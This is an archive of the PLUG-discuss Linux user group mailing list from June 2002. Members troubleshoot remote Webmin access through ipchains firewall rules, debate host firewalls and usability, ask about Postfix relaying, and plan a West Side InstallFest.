http://0.0.0.0/webmin. I am lost as to what step I am > > doing > > wrong. > > > > What are the tricks to this setup? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > Bryce C. > Network Administrator > CoBryce Communications > Bryce@BryceCo.Net > http://www.BryceCo.Net > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 00:49:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 20:49:20 -0400 Subject: ipchains issue (Re: Webmin via Apache) Message-ID: OK, this is looking like a firewall (ie. ipchains) setting issue. I will have to go learn how to do ipchains, and without a GUI since I didn't put it on this box! The output of "ipchains -L" gives: Chain input (policy ACCEPT): target prot opt source destination ports ACCEPT udp ------ 192.168.200.1 anywhere domain -> 1025:65535 ACCEPT tcp -y---- anywhere anywhere any -> http ACCEPT tcp -y---- anywhere anywhere any -> ssh ACCEPT udp ------ anywhere anywhere bootps:bootpc -> bootps:bootpc ACCEPT udp ------ anywhere anywhere bootps:bootpc -> bootps:bootpc ACCEPT all ------ anywhere anywhere n/a REJECT tcp -y---- anywhere anywhere any -> any REJECT udp ------ anywhere anywhere any -> any Chain forward (policy ACCEPT): Chain output (policy ACCEPT): What line to I need to allow Webmin miniserv.pl to listen for https connections on eth0? Where do I put said line? Mean while, I'll go read the manuals... Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:37:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 12:37:44 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <200206221237.44674.wokan@cox.net> You may want to check either your ipchains/iptables settings or /etc/hosts.allow. On Tuesday 25 June 2002 17:07, alandd@mindspring.com wrote: > I actually installed from the rpm on the web site but I still had to > install SSL separately. Works the same either way. If I disable SSL, > "http:..." does not work. If I enable SSL, "https:..." does not work. > > When I say it does not work, I am talking about trying to bring up Webmin > in a browser on a different computer so I can admin this one via the > network. The localhost login works with or without SSL enabled. > > Alan > > On Tue, 25 Jun 2002 19:48:54 -0400 "plug@unfm00.com" > wrote: > > If you use the Tar ball from thier website, you'll have to add the ssl > afterwords. thus you still may be http://192.168.xx:10000 > > Original Message: > ----------------- > From: Cap Bateman dbateman@sprintmail.com > Date: 25 Jun 2002 15:04:53 -0700 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Webmin via Apache > > > It has been years since I tried webmin, however, I believe you need > > to see what port number webmin is running on (i.e 10000). > > > > Try something like http://192.168.200.6:10000 > > IIRC, the latest versions require you to use https://192.168.x.x:10000 > Gotta use the secure login. > > At least that's so on my fresh install of Mandrake 8.2 > > > HTH > > Cap > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:12:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:12:18 -0700 Subject: Miniserv on eth0 (was: Webmin via Apache) In-Reply-To: References: Message-ID: <1025053938.29276.4.camel@barney.azapple.com> On Tue, 2002-06-25 at 15:01, alandd@mindspring.com wrote: > OK, my question has changed. > > Webmin as a web server, miniserv, that comes with it. It does not seem to be > watching for connections on the ethernet, only the loopback (localhost) > connection. How do I get it to serve pages out the eth0? --- open port in firewall Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:11:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:11:54 -0700 Subject: Webmin via Apache In-Reply-To: References: Message-ID: <1025053915.29276.2.camel@barney.azapple.com> On Tue, 2002-06-25 at 14:41, alandd@mindspring.com wrote: > These do not work either. I must have messed up one of the configuration > steps... > > I think I will remove it and try again since I have now been mucking around > and may have made it worse. Still works on the localhost:10000 port though. > ---- there is a whole faq on using the webmin scripts on apache on the www.webmin.com web site. It's important that you understand just how this all works because you are putting root privileged cgi scripts on the server. Suggest that if you have to ask how, you aren't familiar enough with apache and you stick with the way it was configured to run - i.e. miniserve.pl on port 10000 Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sat, 22 Jun 2002 12:36:36 -0700 Subject: Webmin via Apache In-Reply-To: <1025042698.2269.3.camel@desktop.capnet.lan> References: <1025042698.2269.3.camel@desktop.capnet.lan> Message-ID: <200206221236.36840.wokan@cox.net> Mandrake specifically SSL-enabled webmin. If you install the Red Hat version, from a tarball, or from several other distros, they aren't SSL-enabled. Don't know why Mandrake was the only one to bother with what I would consider a very important option. On Tuesday 25 June 2002 15:04, Cap Bateman wrote: > > It has been years since I tried webmin, however, I believe you need > > to see what port number webmin is running on (i.e 10000). > > > > Try something like http://192.168.200.6:10000 > > IIRC, the latest versions require you to use https://192.168.x.x:10000 > Gotta use the secure login. > > At least that's so on my fresh install of Mandrake 8.2 > > > HTH > > Cap > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:21:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 25 Jun 2002 21:21:37 -0400 Subject: Webmin via Apache Message-ID: Excellent points, Craig. I am now pursuing leaving in on miniserv.pl and port 10000. I think I have an ipchains issue. We shall see what I learn. Alan On 25 Jun 2002 18:11:54 -0700 Craig White wrote: On Tue, 2002-06-25 at 14:41, alandd@mindspring.com wrote: > These do not work either. I must have messed up one of the configuration > steps... > > I think I will remove it and try again since I have now been mucking around > and may have made it worse. Still works on the localhost:10000 port though. > ---- there is a whole faq on using the webmin scripts on apache on the www.webmin.com web site. It's important that you understand just how this all works because you are putting root privileged cgi scripts on the server. Suggest that if you have to ask how, you aren't familiar enough with apache and you stick with the way it was configured to run - i.e. miniserve.pl on port 10000 Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:24:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Tue, 25 Jun 2002 18:24:58 -0700 Subject: Meeting TONIGHT References: Message-ID: <3D1917EA.71EF185C@pop.phnx.uswest.net> ...and there was much rejoicing. :-) Thanks much! alandd@mindspring.com wrote: > > Jim will be bringing a box of swag for the west siders to enjoy. We have not > forgotten you. > > Alan > > On Tue, 25 Jun 2002 10:40:10 -0700 Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > When: 7:00 p.m. > Where: Glendale Community College High Tech 1 Teleconference Room > Topic: A Post Mortem on the Install Fest > > Be There! > > I hope Steve has access to the Internet and a connection to a projector. > Sure will make the presentation a LOT better ::grin:: > - -- > Jim > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:43:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 18:43:31 -0700 Subject: ipchains issue (Re: Webmin via Apache) In-Reply-To: References: Message-ID: <1025055811.29731.3.camel@barney.azapple.com> Assuming that this is a single NIC on a server on the internal lan and you have no idea what you want a firewall to be doing on this computer anyway...why don't you just turn it off? service ipchains off chkconfig --levels 2345 ipchains off Otherwise, /sbin/ipchains -A input -j ACCEPT -i $EXTIF -p tcp -s $UNIVERSE -d $EXTIP 10000 replace port & variables as necessary but I have to tell you that what you have in place for ipchains is pretty minimal and you shouldn't feel as though anything is secure on that system because you have an ipchains firewall running on it. Craig On Tue, 2002-06-25 at 17:49, alandd@mindspring.com wrote: > OK, this is looking like a firewall (ie. ipchains) setting issue. I will have > to go learn how to do ipchains, and without a GUI since I didn't put it on > this box! > > The output of "ipchains -L" gives: > > Chain input (policy ACCEPT): > target prot opt source destination ports > ACCEPT udp ------ 192.168.200.1 anywhere domain -> > 1025:65535 > ACCEPT tcp -y---- anywhere anywhere any -> > http > ACCEPT tcp -y---- anywhere anywhere any -> > ssh > ACCEPT udp ------ anywhere anywhere > bootps:bootpc -> bootps:bootpc > ACCEPT udp ------ anywhere anywhere > bootps:bootpc -> bootps:bootpc > ACCEPT all ------ anywhere anywhere n/a > REJECT tcp -y---- anywhere anywhere any -> > any > REJECT udp ------ anywhere anywhere any -> > any > Chain forward (policy ACCEPT): > Chain output (policy ACCEPT): > > What line to I need to allow Webmin miniserv.pl to listen for https > connections on eth0? Where do I put said line? > > Mean while, I'll go read the manuals... > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 01:54:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Tue, 25 Jun 2002 18:54:45 -0700 Subject: meeting tonight Message-ID: <5.1.0.14.0.20020625185354.02538e50@localhost> Urgent message for Jim. Please call me at 480-809-2857. Fires at work and cannot make meeting. I will need to get banner and hub from you some how else. Kimi Adams From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:12:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 25 Jun 2002 22:12:35 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) References: <1025055811.29731.3.camel@barney.azapple.com> Message-ID: <3D192313.AA168AE9@georgetoft.com> George's $0.02. In the area of running boxes inside a network (LAN) that has a firewall protecting them from the bad Internet, I am at odds with some corporations, who shall remain nameless. I feel every box on the network should be able to stand on its own without the firewall (at least for a few hours). This provides redundancy - if the main firewall fails or is compromised, you have one more layer of protection. Look at it like a bank - do you think they use just one lock to keep the bad guys out? Yes, I practice what I preach - my workstation runs a firewall just as strong as my dedicated hardware firewall. That way, if I goober up the hardware firewall, I'm not left naked with my arse hanging out. So running ipchains on an internal box is not a bad thing - just make sure you know why you are doing it. George Paranoid at Large Craig White wrote: > > Assuming that this is a single NIC on a server on the internal lan and > you have no idea what you want a firewall to be doing on this computer > anyway...why don't you just turn it off? > > service ipchains off > > chkconfig --levels 2345 ipchains off > > Otherwise, > /sbin/ipchains -A input -j ACCEPT -i $EXTIF -p tcp -s $UNIVERSE -d > $EXTIP 10000 > > replace port & variables as necessary but I have to tell you that what > you have in place for ipchains is pretty minimal and you shouldn't feel > as though anything is secure on that system because you have an ipchains > firewall running on it. > > Craig > > On Tue, 2002-06-25 at 17:49, alandd@mindspring.com wrote: > > OK, this is looking like a firewall (ie. ipchains) setting issue. I will have > > to go learn how to do ipchains, and without a GUI since I didn't put it on > > this box! > > > > The output of "ipchains -L" gives: > > > > Chain input (policy ACCEPT): > > target prot opt source destination ports > > ACCEPT udp ------ 192.168.200.1 anywhere domain -> > > 1025:65535 > > ACCEPT tcp -y---- anywhere anywhere any -> > > http > > ACCEPT tcp -y---- anywhere anywhere any -> > > ssh > > ACCEPT udp ------ anywhere anywhere > > bootps:bootpc -> bootps:bootpc > > ACCEPT udp ------ anywhere anywhere > > bootps:bootpc -> bootps:bootpc > > ACCEPT all ------ anywhere anywhere n/a > > REJECT tcp -y---- anywhere anywhere any -> > > any > > REJECT udp ------ anywhere anywhere any -> > > any > > Chain forward (policy ACCEPT): > > Chain output (policy ACCEPT): > > > > What line to I need to allow Webmin miniserv.pl to listen for https > > connections on eth0? Where do I put said line? > > > > Mean while, I'll go read the manuals... > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:37:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 25 Jun 2002 22:37:57 -0400 Subject: Doing the Right Thing (revisited) Message-ID: <3D192905.9262FC68@georgetoft.com> While searching for more debarment guidelines, I came across these tidbits: =================================================================== Title 7, Ch. 2 Arizona Administrative Code State Board of Education R7-2-1161. Authority to debar or suspend A. The governing board has the authority to debar or suspend a person from participating in school district procurements. B. The causes for debarment or suspension include the following: 3. Conviction or civil judgment finding a violation by any person or any subsidiary or affiliate of any person under state or federal antitrust statutes. www.mpsaz.org/purchasing/protest.pdf Same as before - Schools may debar anti-trust violators. =================================================================== Same thing for ASU: www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) =================================================================== Same thing for the State: http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment =================================================================== Tom Emerson is right - there is not much originality from one government agency to the next in Arizona - they all pretty much copy the same text and format. Let the letter writing begin!!! George From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:42:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 19:42:01 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) In-Reply-To: <3D192313.AA168AE9@georgetoft.com> References: <1025055811.29731.3.camel@barney.azapple.com> <3D192313.AA168AE9@georgetoft.com> Message-ID: <1025059321.29918.22.camel@barney.azapple.com> On Tue, 2002-06-25 at 19:12, George Toft wrote: > George's $0.02. > > In the area of running boxes inside a network (LAN) that has a firewall > protecting them from the bad Internet, I am at odds with some > corporations, who shall remain nameless. I feel every box on the > network should be able to stand on its own without the firewall (at > least for a few hours). This provides redundancy - if the main firewall > fails or is compromised, you have one more layer of protection. Look at > it like a bank - do you think they use just one lock to keep the bad > guys out? > > Yes, I practice what I preach - my workstation runs a firewall just as > strong as my dedicated hardware firewall. That way, if I goober up the > hardware firewall, I'm not left naked with my arse hanging out. > > So running ipchains on an internal box is not a bad thing - just make > sure you know why you are doing it. ---- thanks for the naked metaphor If you looked at his ipchains rulesets, you would know how much consideration had been given to them. That was my point. I had a customer...a patent engineer, ee, tcl programmer and all around very intelligent guy install firewall software on his computer and couldn't figure out why he couldn't print or see the file servers, etc. He couldn't log in to the Windows domain controller but his computer was safe. I agree with you...know why you're doing it but you also need to know how to do it. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 02:36:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 19:36:10 -0700 Subject: Webmin via Apache In-Reply-To: <200206221236.36840.wokan@cox.net> References: <1025042698.2269.3.camel@desktop.capnet.lan> <200206221236.36840.wokan@cox.net> Message-ID: <1025058970.29918.15.camel@barney.azapple.com> On Sat, 2002-06-22 at 12:36, Digital Wokan wrote: > Mandrake specifically SSL-enabled webmin. If you install the Red Hat version, > from a tarball, or from several other distros, they aren't SSL-enabled. > Don't know why Mandrake was the only one to bother with what I would consider > a very important option. > ---- Redhat doesn't supply webmin at all - period rpm's from webmin's site are noarch/nodistro rpms tarballs are so easy and better for updating...webmin has it's own module to update itself so the rpm's for webmin are for people that have figured out 'rpm -Uvh/ivh webmin-0.99x.noarch.rpm' but 'tar zxvf webmin-0.99x.tar.gz' and then 'cd webmin-0.99x' and then './setup.sh' isn't much more difficult and sets up a new privileged user local to webmin rather than relying on the system root user and system root password. In just about every instance, having a separate user in webmin is better than root. I use webmin - I use redhat - I would never use the rpm's to install webmin. I wouldn't recommend them. As for SSL - download Net::SSLeay.pm-1.05 from webmin's website - takes 2 minutes to unpack and install (on a slow modem). Craig Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 03:37:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 25 Jun 2002 20:37:02 -0700 Subject: mail aliases, mailinglist and netscape mail References: <3D175629.9040900@esaravana.com> <20020625084714.646c6269.wokan@cox.net> <3D189EA7.8010808@esaravana.com> Message-ID: <3D1936DE.B4CDC2D2@earthlink.net> I've tried Evolution, Sylpheed, Mozilla, Netscape 6.x mail programs and I think 1 or 2 others. I still come back to Netscape 4.77/78 when I'm using Linux because of the lists. I had been unable to figure out if and how to use lists from the other programs, including the latest Netscape one! Even importing the list from 4.7x to 6.x lost the lists. pete From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 04:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 26 Jun 2002 00:32:11 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) Message-ID: My ruleset is the default RedHat 7.3 middle choice. I did puch some holes during the install for SSH and HTTP. However, three things conspired against me: 1. I assumed that HTTPS would come through the HTTP hole and failed to consider the 10000 port Webmin wants. 2. While I can use many things and write programs on Linux, I have never studied firewall configuration. 3. I was setting up a server and I wanted it done quickly so when Webmin didn't talk, I didn't think about the firewall, only the Webmin configuration. I should know about firewall configuration. I now have a reason to learn. =^) However, as we propel Linux forward, we need to help develop tools that don't require the user to know how or even why he needs a firewall. The average Joe just wants to know that his computer is secure because he picked the secure option on his install. And, if he needs to close a port or open a port, he doesn't want to learn ipchains rule syntax or even port numbers, he wants to select an option and be on his merry way. Not an easy task but this is the mindset that company in Redmond has created and our society expects. If we want Linux on every desktop, it has to be made that easy. Anyway, it is an issue for tomorrow. That box is at work, I am at home. My plan is to turn the firewall completely off to prove the Webmin setup works. Then, turn it back on with needed holes (after some studying). One issue at a time gets the bits in a row. Alan On 25 Jun 2002 19:42:01 -0700 Craig White wrote: thanks for the naked metaphor If you looked at his ipchains rulesets, you would know how much consideration had been given to them. That was my point. I had a customer...a patent engineer, ee, tcl programmer and all around very intelligent guy install firewall software on his computer and couldn't figure out why he couldn't print or see the file servers, etc. He couldn't log in to the Windows domain controller but his computer was safe. I agree with you...know why you're doing it but you also need to know how to do it. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:13:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Wed, 26 Jun 2002 01:13:51 -0400 (EDT) Subject: can't get Postfix for mail relay to work exactly right In-Reply-To: <200206251455.g5PEt3219382@PlugList.MyButt.Net> Message-ID: Howdy. Question for postfix experts. Everyone else can ignore and go on to the interesting stuff... :) Been workin on my little SMTP relay project. I need to set up a server to just relay SMTP mail to and from my Exchange server, and to filter spam. I'm new to this. So far so good. Running postfix on Mandrake. Can anyone help me with this problem, though. I've set up postfix so it will only relay mail from trusted hosts (a few on the internal LAN), and thus connections from untrusted hosts (both those within and without) can only mail to specified domains, namely the ones homed on the Exchange server (call them test1.com and test2.com). Those emails to test?.com are thus always forwarded to the Exchange server, and any untrusted sender can't use the box to relay. Great. But if an untrusted host (in my test situation, an internal box, on the same subnet as postfix) tries to send to both a valid address in a specified domain (e.g. user@test1.com), and an invalid (relay) address (say to billgates@notsohotmail.com, on the cc line), using the postfix box as the smtp server, postfix doesn't deliver the email at all, but just kicks back at the sender with a rejection, because one of the addresses would have been an illegal relay. I figured it would just relay the email to the valid recipient, and reject sending to the other. But no. Can it be set up to do this? Thanks for any help! Scott From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:32:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bruner, Andrew) Date: Tue, 25 Jun 2002 14:32:59 -0700 Subject: Red Hat Fedora Message-ID: Does anyone have a Red Hat Fedora for sale? My boss is retiring and we want to get him one. We'd order one from Red Hat but the shipping wouldn't make it here for the party next week. Thanks -Andrew From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:30:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 22:30:00 -0700 Subject: Red Hat Fedora Message-ID: <0206252230000R.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just released a message from someone looking for a Red Hat fedora. Don't worry Thurm - not yours. Red Hat sells them on their web site for $49.95. The URL is http://www.redhat.cpm/apps/commerce/coolstuff.html. Amazing what you can find on the Internet! - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRlRWCsk3ywszI1FEQLEqgCgwyVb8vpo3bY5tBiEUKtHP5m+KmwAoNdm EYtWJuYKlxpvupyVP5/Y71dC =zZFx -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:04:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 22:04:22 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) In-Reply-To: References: Message-ID: <1025067862.30993.10.camel@barney.azapple.com> On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > I should know about firewall configuration. I now have a reason to learn. > =^) > > > However, as we propel Linux forward, we need to help develop tools that don't > require the user to know how or even why he needs a firewall. The average Joe > just wants to know that his computer is secure because he picked the secure > option on his install. And, if he needs to close a port or open a port, he > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > select an option and be on his merry way. Not an easy task but this is the > mindset that company in Redmond has created and our society expects. > > If we want Linux on every desktop, it has to be made that easy. > > ----- I thoroughly disagree with this rant. This has nothing whatsoever to do with Microsoft or Microsoft mindset. In fact, your attitude represents the spoiled mentality of the Microsoft user. This is open source software - when you see a need, you should offer your time and energies to fill it - don't be content to curse the darkness, light a candle. Redhat offers a simple minded 3 level firewall choice on install, all using ipchains which is only offered on the 2.4 kernels for backwards compatibility. You are probably wasting your time trying to learn ipchains at this point. Netfilter/iptables is the native firewall module for 2.4 kernels. If you want to learn something that is applicable, that is what you should learn. If you want simple minded firewall configuration utility, may I suggest firestarter. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 04:43:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 00:43:29 -0400 (EDT) Subject: West Side InstallFest Message-ID: The InstallFest Post Mortem this evening was a lot of fun, and can be briefly summarized as, "InstallFest was great! Let's do it again!" With that in mind the list of volunteers for the West Side InstallFest has begun: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Sponsor Wrangler: Available Installers: Anyone here ever installed Linux before? Other: How would you like to help? It was mentioned that der.hans provided quite a bit of invaluable wiring and power gear, that Alan has an appreciable network of sponsor contacts (and Jim may be able to bend the ear of someone at O'Reilly), and that William Lindley might have some organizational advice. Of course, your help is appreciated in any area you can support. As a tentative date, I'd like to suggest Saturday, September 28. Jim suggested this would give students time to settle into the fall semester and start looking for weekend distractions. On potential improvements, some things that caught my attention at the post mortem were: 1. More stations to allow more simultaneous installs. 2. Preliminary survey to identify users who want specialized installs. 3. Trans/Post-liminary survey to record the gear being used, OS being replaced, FAQs, etc. 4. Bob ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 07:14:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 00:14:07 -0700 (MST) Subject: West Side InstallFest In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Robert Bushman so: > The InstallFest Post Mortem this evening was a > lot of fun, and can be briefly summarized as, > "InstallFest was great! Let's do it again!" > > With that in mind the list of volunteers for the > West Side InstallFest has begun: Woohoo! > Flyer: Michelle Lowman > Press: Lee Einer > Site: Steve (foodog) (pending GCC approval) > Web Site: Jim Farli > Chairman: Bob Bushman > > Sponsor Wrangler: Available > Installers: Anyone here ever installed Linux before? > > Other: How would you like to help? > > It was mentioned that der.hans provided quite > a bit of invaluable wiring and power gear, that My gear can be made available again. > Alan has an appreciable network of sponsor > contacts (and Jim may be able to bend the ear > of someone at O'Reilly), and that William > Lindley might have some organizational advice. > Of course, your help is appreciated in any > area you can support. > > As a tentative date, I'd like to suggest Saturday, > September 28. Jim suggested this would give > students time to settle into the fall semester > and start looking for weekend distractions. > > On potential improvements, some things that caught > my attention at the post mortem were: > > 1. More stations to allow more simultaneous installs. > 2. Preliminary survey to identify users who want > specialized installs. > 3. Trans/Post-liminary survey to record the gear > being used, OS being replaced, FAQs, etc. > 4. Pre-arrange for 802.11 stuff. Get a press release ready before the end of July and hit it again at the end of Aug. Set aside a place for demos and mark it clearly. Do the presentations. We got good traffic out of those. Have promo materials for the meetings and a workstation where people can sign up for the mailing list ( they'll still need to reply when they check their email ). Homemade cheesecake goes over really well :). ciao, der.hans -- # https://www.LuftHans.com/ # C'est la Net - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 07:29:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 26 Jun 2002 00:29:25 -0700 Subject: Red Hat Fedora In-Reply-To: <0206252230000R.07972@nova.wedge.org> References: <0206252230000R.07972@nova.wedge.org> Message-ID: <200206260029.30143.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 25 June 2002 22:30, Jim wrote: > I just released a message from someone looking for a Red Hat fedora. Don't > worry Thurm - not yours. Red Hat sells them on their web site for $49.95. > The URL is http://www.redhat.cpm/apps/commerce/coolstuff.html. Amazing > what you can find on the Internet! That is good and all, but: a) Typo! Should be: http://www.redhat.com/apps/commerce/coolstuff.html (Of course everybody knew that.) b) "We'd order one from Red Hat but the shipping wouldn't make it here for the party next week." I think Andrew was looking for someone with an extra hat or the location of an offline store. However, I do wonder why 2nd day (or even next day) shipping is not good enough for a party next week . . . - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GW1YpNoctRtUIRQRAujnAJ45/olP97tA4SkbCTKIXJxuT5o8ngCeLZaJ ZDe2rt5veXlYIHrXmf3tsRA= =+jSO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 08:08:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Wed, 26 Jun 2002 01:08:50 -0700 (PDT) Subject: Hello I'm new (kinda) In-Reply-To: <20020625202707.GB31500@aries.evilmascot.com> Message-ID: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Hello Kyle, Welcome aboard. > Anyways, I'd like to extend my thanks to everyone in > and running this > group; You guys really do a stellar job. > > -Kyle > Linux: It's a good thing. Don't forget Tux's pitchfork toting cousin :). I just got perfect dvd playback in freebsd which is something I never could accomplish in Linux (My own fault though I would assume since I'm using the linux modules to do this). Just out of curiosity was there any mention of FreeBSD at the latest installfest? 